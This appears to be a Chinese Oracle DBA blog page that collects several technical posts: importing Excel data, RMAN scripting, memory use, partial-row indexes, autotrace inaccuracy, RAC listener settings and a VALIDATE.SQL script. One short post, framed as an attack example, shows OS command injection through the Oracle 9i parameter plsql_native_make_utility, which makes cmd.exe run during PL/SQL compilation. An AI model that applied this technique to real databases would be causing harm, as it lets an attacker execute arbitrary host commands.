利用SQL DEVELOPER导入EXCEL数据到Oracle数据库中

日常工作中往往涉及到数据导入工作,平时办公中excel应用十分广泛,导入工作我们一般都是将excel内容复制到文本文件中然后利用sqlldr工具导入。较新版本的Sql Developer提供了直接excel导入到表的功能,下面我们来尝试一下:
需要导入的excel的数据如下:
辅导书

在Oracle数据库中建立实验所需要的表:

凤飞飞

其中t1为主键;
点中创建好的表右键选择导入数据,选择需要导入的excel文件(目前仅支持xls格式不支持xlsx格式):

1231

若表格中有列名,则钩上”标题?”选项:

2222

单击下一步,选择需要的列:

3333

选择完成后单击下一步,将源数据列与目标表列一一对应:

vvv

单击下一步,选择导入前验证导入参数,出现以下条目:
验证表名 SUCCESS
验证源列是否映射了目标列 SUCCESS
验证源列是否定义了数据类型 SUCCESS
验证列的大小字段 SUCCESS
针对列大小检查数据 SUCCESS
验证日期列是否具有日期格式 SUCCESS
验证是否支持这些数据类型的导入 SUCCESS
单击完成,消息窗口出现导入日志:

bbbb

注意到这一步为止仍没有commit,需要到相关窗口点下commit按钮:

nnnn

目前Sql Developer中的excel导入功能已经较为完善,在版本1.5.5之前普遍存在next按钮无反应的bug。

转载请注明源地址: www.askmac.cn

Building a RAC Test Environment on VMWare For Free

•VMWare Orientation
•Importance of prerequisite checking
•Configuring node #1
•Cloning (VM) node #1
•Installing Clusterware
•Installing ASM and Database
•Creating Database
•Common Challenges and Issues

VMWare Orientation
•Desktop Products
–VMWare Workstation: “Full” product, $
–VMWare Player: Free, no creation, just use
•Server Products
–VMWare Infrastructure (ESX Server): $$$,
robust, clustering capable, OS replacement
–VMWare VirtualCenter: $$, management
tool for whole environment, Windows
–VMWare Server: free, limited, on top of OS

使用ALTER SYSTEM运行OS命令

这里举出一个攻击代码例子,你也许会觉得惊奇,抑或认为这是一个运行命令的好办法,是的它很“有用”。

在Oracle 9i中允许采用Oracle本地编译PL/SQL应用程序的方式进行操作。显然,可以利用这一点来运行OS命令:

SQL> alter system set plsql_native_make_utility=’cmd.exe /C dir >C:\oops.txt &’;

SQL> alter system set plsql_native_make_file_name=’ foo’;

SQL> alter system set plsql_native_library_dir=’bee’;

系统已更改。

create or replace PROCEDURE wcg

IS

BEGIN
NULL;

END;

/

show errors

在Oracle编译wcg过程的时候,Oracle会执行下面的代码:

cmd.exe /C dir > C:\oops.txt -& -f foo

bee/RUN_CMD__SYSTEM__0.DLL

Oracle10g中 plsql_native_make_utility与plsql_native_make_file_name2个参数已被废弃。

使用Oracle RMAN脚本

为什么要使用脚本?

为什么要使用RMAN命令脚本呢? 这里有2个主要原因:

  1. 绝大多数RMAN操作都是批量的同时也是自动化的。举例来说,备份数据库是一个反反复复的操作而非每次执行都要费一番功夫写命令。
  2. 脚本提供了一致性。在临时性的抑或者说一次性的操作,譬如从备份中恢复数据库,一般都不适用自动化。但是,操作本身是相同的,无论DBA在何种环境下。

Oracle11g中有两种脚本形式

  1. 使用命令文件: 即文件系统上的一个文本文件,也叫平面文件。
  2. 使用存储的脚本,该脚本存储在Oracle恢复目录中,由RMAN命令行调用。

命令文件形式

Oracle 命令文件是一种文本解释文件类似于UNIX下的SHELL脚本和Windows中的批处理作业BAT文件。代码演示1中展示了一个非常简单的例子,用以备份USERS表空间。其中扩展名.rman是非必要的,但有助于帮您理清文件用途。

代码演示1:备份USERS表空间的脚本

connect target /

connect catalog rman/secretpass@rmancat

run {

allocate channel c1 type disk format ‘/orabak/%U’;

backup tablespace users;

}

你可以通过多种方式调用脚本,例如自RMAN提示行中:

RMAN> @backup_ts_users.rman

注意调用使用的符号@

您也可以在SHELL中调用脚本,例如:

rman @backup_ts_users.rman

这种方式十分有用,若不想使用@符号,用以下方式替代:

rman cmdfile=backup_ts_users.rman

注意CONNECT子句是放在backup_ts_users.rman命令文件中的,故再次无需提供用户名与密码,也保障了没有泄露密码的危险。

传递参数: backup_ts_users.rman命令文件运行地不错,但他太固定了。他将备份输出到某个特定目录且只备份一个表空间(USERS)。若你想要备份到另一处或其他表空间是,你需要创建新的脚本。

一个较好的策略是使用参数驱动的RMAN脚本。比起硬编码来,参数传递脚本灵活得多。代码演示2中展示了修改了的backup_ts_users .rman脚本。

代码演示2: 参数驱动脚本

connect target /

connect catalog rman/secretpass@rmancat

run {

allocate channel c1 type disk format ‘&1/%U’;

backup tablespace &2;

}

另一个SHELL脚本,名为backup_ts_generic.sh调用以上脚本,传递参数/tmp作为备份目录以及USERS为备份表空间对象。

$ORACLE_HOME/bin/rman <<EOF

@backup_ts_generic.rman “/tmp” USERS

EOF

你还可以使之更灵活,你可以将backup_ts_generic.sh第二行做以下修改:

@backup_ts_generic.rman “/tmp” $1

则您可以将参数传递给sh脚本,在以/tmp为固定备份目录的情况下。例如您要备份MYTS表空间:

backup_ts_generic.sh MYTS1

日志设置: 当你通过某种自动设置来运行RMAN脚本时,实际没有人在观察命令窗口,那我们如何找到RMAN的输出呢?这些输出日志使我们了解脚本的运行结果故之分重要,为了获取日志,我们可以使用log选项。

rman cmdfile=backup_ts_users.rman log=backup_ts_users.log

现在backup_ts_users.rman脚本的输出日志将会记录在名为backup_ts_users.log 的文件中而非出现在屏幕上。

存储脚本

虽然脚本文件可以满足大多数情况,但他们也有部分缺点。脚本文件总是存放在服务器上,这显得并不十分安全,因为只要有阅读该文件的权限就可以获取SYS等账号的密码。

解决方法就是使用RMAN的存储脚本,存储脚本保存在了Oracle恢复目录中,而非直接存放在服务器上。代码演示3展示了调用存储脚本的例子。

代码演示3

RMAN> run { execute script

backup_ts_users; }

C:\> rman

RMAN> connect target /

RMAN> connect catalog rman/secretpass@rmancat

RMAN> create script backup_ts_users

2> comment ‘Tablespace Users Backup’

3> {

4>      allocate channel c1 type disk format ‘c:\temp\%U’;

5>      backup tablespace users;

6> }

在代码演示3中存储脚本backup_ts_users仅在用户连接到目标数据库是可见。同时存储脚本也可以做到传递参数,如代码演示4

代码演示4:参数驱动的存储脚本:

RMAN> create script backup_ts_any

2> comment ‘Any Tablespace Backup’

3> {

4>      allocate channel c1 type disk format ‘c:\temp\%U’;

5>      backup tablespace &1;

Enter value for 1: users

users;

6> }

7>

调用参数驱动存储脚本时,我们需要使用USING 子句。如下例,使用存储脚本备份SYSTEM表空间:

run { execute script

backup_ts_any using ‘SYSTEM’; }

管理存储脚本:RMAN工具提供了管理存储脚本的必要方式。

可以用一下命令列出存储的脚本:

RMAN> list script names;

List of Stored Scripts in Recovery Catalog

Scripts of Target Database ARUPLAP1

Script Name

Description

————

backup_ts_any

Any Tablespace Backup

backup_ts_users

Tablespace Users Backup

以上命令会列出脚本的本地和全局名。

若只需要列出全局名,可以使用以下命令:

RMAN> list global script names;

若要显示某个脚本的具体内容,例如back_ts_any,可以使用以下命令:

RMAN> print global script

backup_ts_level1_any;

删除一个存储脚本:

RMAN> delete global script

backup_ts_level1_any;

你也可以通过一个脚本文件创建存储脚本,如以下:

RMAN> create script backup_ts_users

from file ‘backup_ts_users.rman’;

当然你也可以通过存储脚本还原出一个平面脚本文件:

RMAN> print script backup_ts_users

to file ‘backup_ts_users.rman’;

oracle express介绍

Oracle express 不是一种新型火车也不是一种新型的邮递服务。Oracle express是个多维的数据库和应用程序环境,这个应用程序环境是用来构建OLAP应用程序的。Express的组件(或者OLAP选项)是维(多维部分中的一部分)和变量。维是在Express数据库中分解出的逻辑单元。维是数据库的核心单元,它更像数据仓库表格的数维或者逻辑表达式的限制子句。product=TevaSandals,gender=male或者date_of_birth介于某个日期范围都是这样的字句示例。

变量是在Express数据库中包含数据的对象。这些变量不比用维描述的值(类似数据仓库的值,它的典型值是数字)的数组更重要。把这个数组的概念扩展一下,就可以把它看做表。把销售的变量看做维,可能就是Product ,Sales_District和Sales_dt_time。3个成为维的变量经常被称作数据立方体。

对Express数据库来说,具有多个变量,每个变量又是多维的情况并不常见(类似事件的一些维数通常是多个变量,而某些维对于变量是唯一的)。

Express数据库中的数据以这种多维方式存储,而不是典型的数据库结构,甚至以关系对象结构存储,因为这样会使用户处理回答他们业务问题的信息更快。因为业务经常需要以这种方式切片和切块数据,这就是他是OLAP数据库的原因。这种方式与那些在一般数据库中支持的方式是不同的。

Express有两个为支持无限制用户数而设计的功能。Express服务器为更大的应用程序而设计,它是个多维的数据储存器。Express服务器经常与已存在的数据仓库一起使用,或者作为一个功能全面的数据仓库的前身。根据需要,Express Server可替代数据仓库。Personal Express 是单用户的Express Server ,它由对数据做OLAP分析的个人使用,这样就不需要花费更大的代价和时间去执行一个功能全面的组织数据仓库。

还有很多这样的工具,他们作为Express服务器数据库产品的附加工具。Express Analyzer 是用来生成报告和分析Express服务器的工具。Express Objects 是支持开发Express数据库应用程序的OO工具。也可使用Express Web Publisher发布目录到Web上供别人查看。Express Spreadsheet是为Microsoft Excel和Express Sever数据库之间的接口提供的插件。

RMAN 内存利用介绍: PGA 以及SGA

在磁盘上的备份会使用PGA内存空间作为备份缓冲区,PGA内存空间从用于通道进程的内存空间中分配。如果操作系统没有配置本地异步I/O,可以利用DBWR_IO_SLAVES参数使用I/O从属来填充内存中的输出缓冲区。如果设置DBWR_IO_SLAVES参数为任意的非零值,RMAN会自动分配4个I/O从属来协调缓冲区内存中数据块加载。为了实现这一功能,RMAN必须利用一个共享内存区域。因此,用于磁盘备份的内存缓冲区会被推入共享池,如果存在Large池,则被推入large池。

如果没有使用磁带I/O从属,会在PGA中分配用于磁带输出缓冲区的内存。设置init.ora参数BACKUP_TAPE_IO_SLAVES=TURE,可以使用磁带I/O从属,必要时还可以在服务器参数文件(spfile)中动态设置该参数。BACKUP_TAPE_IO_SLAVES参数设置为TRUE时,RMAN会为每个通道创建一个从属进程来帮助备份工作。为了协调这一功能,RMAN会将内存分配推入SGA。

Oracle SGA中的Large池

Large池是Oracle内存空间的SGA中的一个特定区域。使用init.ora或SPFILE文件中的LARGE_POOL_SIZE参数可以设置large池,这个参数值被指定为一个字节数。对于某些需要共享空间且涉及共享池中常见操作的内存可以利用large池。占用large池的主要限于RMAN内存缓冲区(如果使用了I/O从属)和用于共享服务器。Large池又是用于java连接,如果PARALLEL_AUTOMATIC_TUNING (10g中不再使用)被设置为TRUE, large池还会包括并行查询从属(parallel query slave)

实际上,我们不一定需要large池。如果没有large池,所有可能占用large池的会简单地使用共享池中的空间。这不是世界末日,但是最好将RMAN缓冲区分到PGA中他们自己独立的空间中。这样以来,SQL和PL/SQL分析以及其他普通操作的共享池操作不会受到RMAN备份的影响。反之亦然,此外还可以更方便,更直接地调整RMAN的Oracle内存空间。

如果配置了任一种I/O从属选项并且没有配置large池,则会从SGA的共享池区中分配内存。如果没有配置large池却又要使用I/O从属,我们建议最好创建一个large池,这个large池的大小基于备份分配的通道总数(加上1MB用于开销)。

如果在磁带上做备份,就需要使用一个Media Management Server(介质管理服务器)产品。如果从与目标数据库相同的系统运行Media Manager(介质管理器),磁带子系统会需要额外的系统资源。调整备份时一定要考虑到这个因素。

部分行索引使用介绍

函数索引是Oracle索引中比较特殊的,我们这里讨论函数索引中部分行索引的使用。
部分行索引顾名思义仅就表中的一部分记录做索引,请看代码示例:

drop table test;

create table test  (t1 int, t2 char(1));
declare
i int :=0;
begin
while i<100000
loop

insert into test values( i, ‘N’);
i:=i+1;
commit;
end loop;
end;

在test表上插入大量t2为N的行,并插入少量t2为Y的行
create index ind_t2y on test( case t2 when ‘Y’ then t2 end);

SQL> select count(*) from test;

COUNT(*)
———-
100004

表上供有100004条数据

SQL> select count(*) from test where t2=’Y’;

COUNT(*)
———-
4
为t2列为’Y’的共有4条。

我们来分析该索引:

SQL> analyze index ind_t2y validate structure;

索引已分析

SQL> select lf_rows from index_stats;

LF_ROWS
———-
4

可以看到确实仅记录了4条记录。

我们尝试利用此部分行索引:

SQL> set autotrace on;
SQL> select count(*) from test where t2=’Y’;

COUNT(*)
———-
4

Execution Plan
———————————————————-
Plan hash value: 1950795681

—————————————————————————
| Id  | Operation          | Name | Rows  | Bytes | Cost (%CPU)| Time     |
—————————————————————————
|   0 | SELECT STATEMENT   |      |     1 |     3 |    43  (12)| 00:00:01 |
|   1 |  SORT AGGREGATE    |      |     1 |     3 |            |          |
|*  2 |   TABLE ACCESS FULL| TEST |     2 |     6 |    43  (12)| 00:00:01 |
—————————————————————————

Predicate Information (identified by operation id):
—————————————————

2 – filter(“T2″=’Y’)

Note
—–
– dynamic sampling used for this statement

Statistics
———————————————————-
0  recursive calls
0  db block gets
171  consistent gets
0  physical reads
0  redo size
515  bytes sent via SQL*Net to client
469  bytes received via SQL*Net from client
2  SQL*Net roundtrips to/from client
0  sorts (memory)
0  sorts (disk)
1  rows processed

没有如预期地使用索引,我们加上hint 再试试

SQL> select /*+ index(test ind_t2y) */ count(*) from test where t2=’Y’;

COUNT(*)
———-
4

Execution Plan
———————————————————-
Plan hash value: 2501600095

—————————————————————————————-
| Id  | Operation                    | Name    | Rows  | Bytes | Cost (%CPU)| Time     |
—————————————————————————————-
|   0 | SELECT STATEMENT             |         |     1 |     3 |     2   (0)| 00:00:01 |
|   1 |  SORT AGGREGATE              |         |     1 |     3 |            |          |
|*  2 |   TABLE ACCESS BY INDEX ROWID| TEST    |     2 |     6 |     2   (0)| 00:00:01 |
|   3 |    INDEX FULL SCAN           | IND_T2Y | 98705 |       |     1   (0)| 00:00:01 |
—————————————————————————————-

Predicate Information (identified by operation id):
—————————————————

2 – filter(“T2″=’Y’)

Note
—–
– dynamic sampling used for this statement

Statistics
———————————————————-
0  recursive calls
0  db block gets
2  consistent gets
0  physical reads
0  redo size
515  bytes sent via SQL*Net to client
469  bytes received via SQL*Net from client
2  SQL*Net roundtrips to/from client
0  sorts (memory)
0  sorts (disk)
1  rows processed

在使用部分行索引的情况下逻辑读大大下降了。
在不加hint的情况下优化器似乎永远无法做出正确的选择,即便修改了CBO相关的参数:

SQL> alter system set optimizer_index_cost_adj=1;

System altered.

SQL> select t2 from test where t2=’Y’;

T

Y
Y
Y
Y

Execution Plan
———————————————————-
Plan hash value: 1357081020

————————————————————————–
| Id  | Operation         | Name | Rows  | Bytes | Cost (%CPU)| Time     |
————————————————————————–
|   0 | SELECT STATEMENT  |      |     2 |     6 |    43  (12)| 00:00:01 |
|*  1 |  TABLE ACCESS FULL| TEST |     2 |     6 |    43  (12)| 00:00:01 |
————————————————————————–

仅在where 子句中指定了case when then模式时,优化器自觉地使用了该部分行索引:
SQL>  select * from test where case t2 when ‘Y’ then t2 end =’Y’;

T1 T
———- –
100001 Y
100002 Y
100003 Y
100004 Y

Execution Plan
———————————————————-
Plan hash value: 837354983

—————————————————————————————
| Id  | Operation                   | Name    | Rows  | Bytes | Cost (%CPU)| Time     |
—————————————————————————————
|   0 | SELECT STATEMENT            |         |     2 |    32 |     1   (0)| 00:00:01 |
|   1 |  TABLE ACCESS BY INDEX ROWID| TEST    |     2 |    32 |     1   (0)| 00:00:01 |
|*  2 |   INDEX RANGE SCAN          | IND_T2Y |     1 |       |     1   (0)| 00:00:01 |
—————————————————————————————

Predicate Information (identified by operation id):
—————————————————

2 – access(CASE  WHEN “T2″=’Y’ THEN “T2” END =’Y’)

Note
—–
– dynamic sampling used for this statement

Statistics
———————————————————-
0  recursive calls
0  db block gets
4  consistent gets
0  physical reads
0  redo size
650  bytes sent via SQL*Net to client
469  bytes received via SQL*Net from client
2  SQL*Net roundtrips to/from client
0  sorts (memory)
0  sorts (disk)
4  rows processed

部分行索引在特定情况下(譬如某表中仅少数特定行有大量查询更新操作)可以发挥非常巨大的作用。

autotrace在绑定变量情况下不准确的问题

通常我们在检验SQL执行计划时采用autotrace的方法,但autotrace本身存在许多不准确的情况。
以下为一个例子:
SQL> create table test(t1 int, t2 char(200));

表已创建。

SQL> create index ind_t2 on test(t2);

索引已创建。

SQL> insert into test values (0,’A’);

已创建 1 行。

SQL> commit;

提交完成。

SQL> begin
2  for i in 1..100000 loop
3  insert into test values(i,’ZZZZ’);
4  end loop;
5  commit;
6  end;
7  /
SQL> analyze table test compute statistics ;

表已分析。

SQL> analyze index ind_t2 compute statistics;

索引已分析

SQL> analyze table test compute statistics for all indexed columns;

表已分析。

以上代码 在test表中 产生一条t2为A的记录以及10万条t2为ZZZZ的语句,即列上值出现严重的倾斜。
SQL> set autotrace on;
SQL> variable a char;
SQL> exec :a:=’A’;
SQL> alter system flush shared_pool;

系统已更改。
PL/SQL 过程已成功完成。

SQL> oradebug setmypid;
已处理的语句
SQL> oradebug event 10046 trace name context forever,level 10;
已处理的语句

SQL> select * from test where t2=:a;

T1
———-
T2
————————————————————————–
0
A

执行计划
———————————————————-
Plan hash value: 1357081020

————————————————————————–
| Id  | Operation         | Name | Rows  | Bytes | Cost (%CPU)| Time     |
————————————————————————–
|   0 | SELECT STATEMENT  |      | 50001 |  9961K|   652   (2)| 00:00:08 |
|*  1 |  TABLE ACCESS FULL| TEST | 50001 |  9961K|   652   (2)| 00:00:08 |
————————————————————————–

Predicate Information (identified by operation id):
—————————————————

1 – filter(“T2″=:A)

统计信息
———————————————————-
231  recursive calls
0  db block gets
38  consistent gets
0  physical reads
0  redo size
654  bytes sent via SQL*Net to client
385  bytes received via SQL*Net from client
2  SQL*Net roundtrips to/from client
4  sorts (memory)
0  sorts (disk)
1  rows processed

SQL> oradebug tracefile_name;
e:\oracle\product\10.2.0\admin\orclv\udump\orclv_ora_4956.trc

使用tkprof 工具对 trace文件整理
tkprof  e:\oracle\product\10.2.0\admin\orclv\udump\orclv_ora_4956.trc C:\ora_4956.trc

可以找到以上查询的实际执行计划。
select *
from
test where t2=:a

call     count       cpu    elapsed       disk      query    current        rows
——- ——  ——– ———- ———- ———- ———-  ———-
Parse        1      0.01       0.00          0          0          0           0
Execute      1      0.00       0.00          0          0          0           0
Fetch        2      0.00       0.00          0          6          0           1
——- ——  ——– ———- ———- ———- ———-  ———-
total        4      0.01       0.01          0          6          0           1

Misses in library cache during parse: 1
Optimizer mode: ALL_ROWS
Parsing user id: SYS

Rows     Row Source Operation
——-  —————————————————
1  TABLE ACCESS BY INDEX ROWID TEST (cr=6 pr=0 pw=0 time=43 us)
1   INDEX RANGE SCAN IND_T2 (cr=5 pr=0 pw=0 time=32 us)(object id 51539)

可以看到这里实际的执行计划时 INDEX RAGNE SCAN 而非TABLE ACCESS FULL,这是由于优化器(optimizer)实际使用了绑定变量窥视的手段,而autotrace工具似乎不具备这种特性,故其展现的执行计划出现严重偏差。

一般情况下autotrace的结果仍是准确的,但也仅是一般情况,这需要我们凭借直觉去分辨。

关于RAC中监听配置IP=FIRST的说明

为RAC自动配置的监听器(listener)一般都可以看到使用了IP=FIRST选项,以使得监听在所给出主机名的相关ip端点。默认情况下不使用IP=FIRST选项,监听器总是在所有该主机的网络接口上监听(listen)。

从8i开始,监听器在绑定Ip地址的方式已经改变。一般的规则是“在指定主机上监听所有端口(listen on all interfaces if a hostname is specified)。然而这仅在大多数情况下准确,在某些特定情况监听器可能并非如此表现。

你可能需要强制监听器仅绑定到特定的IP地址(即便在指定主机名的情况下),通过在监听配置文件LISTENER.ORA中配置IP=FIRST语句。

由于监听绑定端点对于数据库实例注册到监听尤为重要,所以我们有必要了解监听器具体如何决定绑定到TCP端点(endpoint)的算法。

常规算法

你可以尝试使用以下模式解释监听器如何绑定到TCP协议地址的表现:

(1) 如果你提供一个IP 地址,则监听器始终在该IP地址上监听。

(2) 若你提供一个主机名:

(a) Oracle 对 gethostbyname()函数 输入该主机名,可能返回多个IP地址。

gethostname 库函数会查询DNS服务器,/etc/hosts配置文件,和NIS服务以及其他方式,基于系统实际配置。具体如何工作依赖于操作系统类型,但一般来说/etc/host.conf,/etc/nsswitch.conf 和/etc/resolv.conf配置文件在UNIX平台上指导过程。’

你可以同过ping工具找出相关的IP(如例:ping <hostname> 活着 ping -s <hostname> 即可以看到主机名相关的IP)。 不要使用host,nslookup 或dig 工具,以上工具仅查询DNS服务可能返回错误结果。

(b) Oracle 将使用 gethostname函数得出当地系统配置的主机名。

gethostname() 库函数将返回本地系统的标准主机名。

你也可以通过hostname命令得到该值。

(c) Oracle 对 gethostbyname() 函数输入之前一步2b中得到的主机名。

(d)  Oracle 比较 2a 中与 2c中返回的IP, 若没有匹配的IP项,则监听器绑定到2a中返回的ip地址上。

或者

(e) 若有匹配项存在,则监听器绑定至所有工作的网络接口上。

你可以通过lsnrctl命令的输出非常容易地判断监听器是如何绑定到网络接口的,如下例:

$ lsnrctl status

LSNRCTL for Linux: Version 10.2.0.1.0 – Production on 07-MAY-2007 15:29:48

Copyright

(c) 1991, 2005, Oracle.  All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC1)))

STATUS

of the LISTENER

————————

Alias                     LISTENER

Version                   TNSLSNR for Linux:

Version 10.2.0.1.0 – Production

Start Date                13-APR-2007 14:11:16

Uptime                    24 days 1 hr. 18

min. 32 sec

Trace Level               off

Security                  ON: Local OS Authentication

SNMP

OFF

Listener Parameter File   /opt/oracle/product/10.2.0/db_1/network/admin/listener.ora

Listener Log File         /opt/oracle/product/10.2.0/db_1/network/log/listener.log

Listening

Endpoints Summary…

(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1)))

(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=10.10.10.10)(PORT=1527)))

(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=myhost.ro.oracle.com)(PORT=1521)))

在以上情况中,监听器绑定值指定IP10.10.10.10的1527端口上同时也在所有接口的1521端口上。

由于RAC情况中对于监听器监听范围的要求,故在给出主机名的情况下配置工具netca等,总是会在配置文件中加上IP=FIRST语句保证监听器绑定到2a中返回的IP地址而非所有网络接口。

参考文档:

metalink : 文档 ID:         300729.1

SCRIPT: VALIDATE.SQL to ANALYZE .. VALIDATE STRUCTURE objects in a Tablespace

Execution Environment:
     <SQL, SQL*Plus, iSQL*Plus>

Access Privileges:
     Requires to be run connected as SYS schema

Usage:
     In SQL*Plus connect SYS AS SYSDBA. In 8i connect internal can be used

Instructions:
Steps to install:
   1. Install this package in the SYS schema
      Eg:
          SQL> @validate
      This should create the "ValidateStructure" package.

Steps to use:
   1. Ensure SPOOL is enabled to catch output and enable SERVEROUT
      Eg:
           spool myvalidate.log
           execute dbms_output.enable(1000000);
           set serveroutput on

 2. Run one of:
 execute ValidateStructure.TS('TABLESPACE_NAME', TRUE);
 or
 execute ValidateStructure.TS('TABLESPACE_NAME', FALSE);

 to check objects in the named tablespace CASCADE or NOT CASCADE

 or
 execute ValidateStructure.TS('TABLESPACE_NAME', TRUE|FALSE, TRUE );

 to check objects in the named tablespace using the ONLINE option

 This will run until all requested items are scanned.

   3. Errors from the ANALYZE commands are output to DBMS_OUTPUT
      and so any failing objects are listed when all TABLES / CLUSTERS
      have been analyzed. More detailed output from failing ANALYZE
      commands will be written to the user trace file in USER_DUMP_DEST

Script:

REM ======================= Start of Script ============================
REM VALIDATE.SQL
REM
REM  Purpose:   The purpose of this package is to check all objects
REM             in a given tablespace using the
REM               ANALYZE TABLE .. VALIDATE STRUCTURE [CASCADE];
REM             command.
REM             The package finds all TABLES and CLUSTERS in the
REM             given tablespace and issues the relevant ANALYZE
REM             commands.
REM
REM USAGE
REM ~~~~~
REM  Please note this is an example script only.
REM  There is no guarantee associated with the output it presents.
REM
REM  Steps to install:
REM     1. Install this package in the SYS schema
REM        Eg: connect internal
REM             @validate
REM        This should create the "ValidateStructure" package.
REM
REM  Steps to use:
REM     1. Ensure SPOOL is enabled to catch output and enable SERVEROUT
REM        Eg:
REM             spool myvalidate.log
REM             execute dbms_output.enable(1000000);
REM             set serveroutput on
REM
REM 2. Run one of:
REM execute ValidateStructure.TS('TABLESPACE_NAME', TRUE);
REM or
REM execute ValidateStructure.TS('TABLESPACE_NAME', FALSE);
REM
REM to check objects in the named tablespace CASCADE or NOT CASCADE
REM
REM or.
REM execute ValidateStructure.TS('TABLESPACE_NAME', TRUE|FALSE, TRUE );
REM
REM to check objects in the named tablespace using the ONLINE option
REM
REM This will run until all requested items are scanned.REM
REM     3. Errors from the ANALYZE commands are output to DBMS_OUTPUT
REM        and so any failing objects are listed when all TABLES / CLUSTERS
REM        have been analyzed. More detailed output from failing ANALYZE
REM        commands will be written to the user trace file in USER_DUMP_DEST
REM
set serverout on
CREATE OR REPLACE PACKAGE ValidateStructure
AS
 procedure ts( name varchar2 , casc boolean default true, oln boolean default false);
END;
/
CREATE OR REPLACE PACKAGE BODY ValidateStructure
AS
numbad number:=0;
--
procedure item( typ varchar2 , schema varchar2, name varchar2,
 casc boolean default true,part varchar2 default 'NO',
 oln boolean default false) is
stmt varchar2(200);
c number;
opt varchar2(20):=' ';
begin
 if (casc) then
 opt:=' CASCADE ';
 end if;
 if (oln) then
 if typ = 'CLUSTER' then
 opt:=opt || ' ';
 else
 opt:=opt || ' ONLINE ';
 end if;
 end if;
 if part = 'YES' then
 opt:=opt || ' into INVALID_ROWS ';
 end if;
 c:=dbms_sql.open_cursor;
 begin
 stmt:='ANALYZE '||typ||' "'||schema||'"."'||name||'" '|| 'VALIDATE STRUCTURE'||opt;
 dbms_sql.parse(c,stmt,dbms_sql.native);
 exception
 when others then
 dbms_output.put_line( 'Error analyzing '||typ||opt||'"'||schema||'.'||name||'" '||sqlerrm);
 numbad:=numbad+1;
 end;
 dbms_sql.close_cursor(c);
end;
--
procedure ts( name varchar2 , casc boolean default true, oln boolean default false) is
 cursor c is
 SELECT 'TABLE' typ,owner, nvl( IOT_NAME, TABLE_NAME) table_name, partitioned FROM DBA_TABLES
 where tablespace_name=upper(name)
 UNION ALL
 SELECT 'CLUSTER',owner, cluster_name, 'NO' FROM DBA_CLUSTERS
 where tablespace_name=upper(name);
 n number:=0;
begin
 numbad:=0;
 for R in C
 loop
 n:=n+1;
 ValidateStructure.item(R.typ,r.owner,r.table_name, casc, r.partitioned, oln);
 end loop;
 dbms_output.put_line('Analyzed '||N||' objects with '||numbad||' errors');
 if (numbad>0) then
 raise_application_error(-20002, numbad||' errors - SET SERVEROUT ON to view details');
 end if;
end;
--
BEGIN
 dbms_output.enable(1000000);
END;
/
REM ======================== End of Script ============================

Sample Output:

SQL>  spool myvalidate.log

SQL>  execute dbms_output.enable(1000000);
PL/SQL procedure successfully completed.

SQL>  set serveroutput on

SQL> execute ValidateStructure.TS('EXAMPLE',FALSE);
Analyzed 34 objects with 0 errors
Analyzed 34 objects with 0 errors

PL/SQL procedure successfully completed.

沪ICP备14014813号-2

沪公网安备 31010802001379号